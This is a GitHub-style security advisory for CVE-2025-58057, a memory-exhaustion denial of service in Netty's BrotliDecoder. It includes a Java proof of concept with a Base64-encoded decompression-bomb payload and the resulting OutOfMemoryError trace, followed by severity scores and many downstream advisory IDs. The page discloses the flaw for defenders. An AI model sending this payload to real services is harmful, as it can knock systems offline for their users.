CVE-2025-58057
ADVISORY - githubSummary
Summary
With specially crafted input, BrotliDecoder
and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress
has no limit in how often it calls pull
, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G
:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAG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oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder
on untrusted input.
Common Weakness Enumeration (CWE)
Improper Handling of Highly Compressed Data (Data Amplification)
Improper Handling of Highly Compressed Data (Data Amplification)
NIST
3.9
CVSS SCORE
6.9mediumGitHub
-
CVSS SCORE
6.9mediumDebian
-
Ubuntu
3.9
CVSS SCORE
7.5mediumChainguard
CGA-2q6x-j784-7h79
-
Chainguard
CGA-2v4w-pr95-p9mq
-
Chainguard
CGA-2xfj-fv4h-wxfv
-
Chainguard
CGA-2xm9-r734-f5jh
-
Chainguard
CGA-343x-pv45-x36w
-
Chainguard
CGA-37rw-3rg8-5p2r
-
Chainguard
CGA-3vfc-g8rx-pvvw
-
Chainguard
CGA-48jf-6j23-46j3
-
Chainguard
CGA-4f95-7j4w-9wc7
-
Chainguard
CGA-553w-99qm-q83c
-
Chainguard
CGA-5c36-8v38-2mqc
-
Chainguard
CGA-5hhq-wjmg-gcjp
-
Chainguard
CGA-6338-px3g-vxhv
-
Chainguard
CGA-6hmq-qr85-3xh8
-
Chainguard
CGA-7546-ph65-xxxw
-
Chainguard
CGA-75w4-p3gc-jfx5
-
Chainguard
CGA-7973-59mc-f5w6
-
Chainguard
CGA-7j2f-rgqc-qr3w
-
Chainguard
CGA-7v5c-p2r6-p462
-
Chainguard
CGA-7vrc-vhf3-9f48
-
Chainguard
CGA-829h-3xf3-j2qf
-
Chainguard
CGA-83vx-rwv3-3fvr
-
Chainguard
CGA-85wm-6c4p-5865
-
Chainguard
CGA-8635-mm2p-7mfj
-
Chainguard
CGA-875r-5r79-249x
-
Chainguard
CGA-8gfq-pqwq-pv7h
-
Chainguard
CGA-8jcq-2484-6w9x
-
Chainguard
CGA-8x49-65rf-mc5q
-
Chainguard
CGA-929v-xcpg-57wc
-
Chainguard
CGA-948x-68h4-f2cj
-
Chainguard
CGA-94cj-4rxx-5cfm
-
Chainguard
CGA-9538-v27v-q9qx
-
Chainguard
CGA-9jgq-4qx7-v856
-
Chainguard
CGA-9vh6-4325-2mgm
-
Chainguard
CGA-c3rv-cp45-mhjr
-
Chainguard
CGA-c885-5849-wwc2
-
Chainguard
CGA-cfw2-ff39-v6rm
-
Chainguard
CGA-cgr7-w7ff-wqcq
-
Chainguard
CGA-cr87-h73p-jxv5
-
Chainguard
CGA-cw9h-7pqv-jv6p
-
Chainguard
CGA-f69p-365f-6wqq
-
Chainguard
CGA-fpvp-gfw9-v37v
-
Chainguard
CGA-frvm-7899-v42f
-
Chainguard
CGA-g5vg-wh83-fm76
-
Chainguard
CGA-g73r-q4wv-7w2m
-
Chainguard
CGA-g8vf-gjcg-2fgc
-
Chainguard
CGA-gmwh-588r-7f2g
-
Chainguard
CGA-gxhv-xr39-w63r
-
Chainguard
CGA-h5j9-46vj-f522
-
Chainguard
CGA-h5m4-28j5-p82r
-
Chainguard
CGA-hv3x-rq86-p3p5
-
Chainguard
CGA-j3fg-43p4-p7h8
-
Chainguard
CGA-j9xh-qf5r-6hr3
-
Chainguard
CGA-jm8f-rrgp-45fp
-
Chainguard
CGA-jpqm-5jrf-pxjm
-
Chainguard
CGA-m7gp-h7pm-2p7v
-
Chainguard
CGA-m85c-cx47-hrcr
-
Chainguard
CGA-mq82-fgj6-fhmc
-
Chainguard
CGA-p44h-35f2-m7v3
-
Chainguard
CGA-pg9f-mw8h-mhvp
-
Chainguard
CGA-ppc8-78x8-3698
-
Chainguard
CGA-pprc-vhvh-79j3
-
Chainguard
CGA-qw7c-p95f-xfgp
-
Chainguard
CGA-qx4j-4262-rg9v
-
Chainguard
CGA-r2c6-4v88-m9h9
-
Chainguard
CGA-r2rw-m548-3w3h
-
Chainguard
CGA-r324-x764-h722
-
Chainguard
CGA-r6gh-cvx2-8mqg
-
Chainguard
CGA-r7xm-crh2-4v6w
-
Chainguard
CGA-rq57-8qrx-9frv
-
Chainguard
CGA-v923-59cp-2r6q
-
Chainguard
CGA-w9vw-4jr4-m4qp
-
Chainguard
CGA-wfq9-4352-93hp
-
Chainguard
CGA-xghx-54mj-627g
-
minimos
MINI-2fmr-227r-3mmc
-
minimos
MINI-2m4f-c237-9w69
-
minimos
MINI-2xxj-j6rj-q5p5
-
minimos
MINI-3j6h-hc77-6pvq
-
minimos
MINI-3vq8-x5qr-4v2q
-
minimos
MINI-4692-2g3q-x33c
-
minimos
MINI-4g66-vfhq-fpp8
-
minimos
MINI-4pch-p6jw-8v5v
-
minimos
MINI-6593-v7wp-cqh5
-
minimos
MINI-72vr-jq37-wmc7
-
minimos
MINI-7m6q-548p-r52p
-
minimos
MINI-89rm-24p5-r62g
-
minimos
MINI-8fwq-m7hh-9m2c
-
minimos
MINI-8jh2-gwfj-h3v5
-
minimos
MINI-c52v-fjhh-q54r
-
minimos
MINI-fc78-6h7v-v426
-
minimos
MINI-fj6v-r6jf-733c
-
minimos
MINI-hgxc-w7hm-8hh3
-
minimos
MINI-jc69-m2wc-5263
-
minimos
MINI-m2j8-wxgr-26rq
-
minimos
MINI-mm47-22gc-4mxx
-
minimos
MINI-q4gv-5cwv-5p86
-
minimos
MINI-qf7j-w86h-24v4
-
minimos
MINI-qjfm-942f-7hc5
-
minimos
MINI-r68f-9v6w-cmqq
-
minimos
MINI-r8mj-346r-hhv2
-
minimos
MINI-rvrx-cpv2-wwjr
-
minimos
MINI-wf2g-j36r-m22g
-
minimos
MINI-x8gv-w9h3-p452
-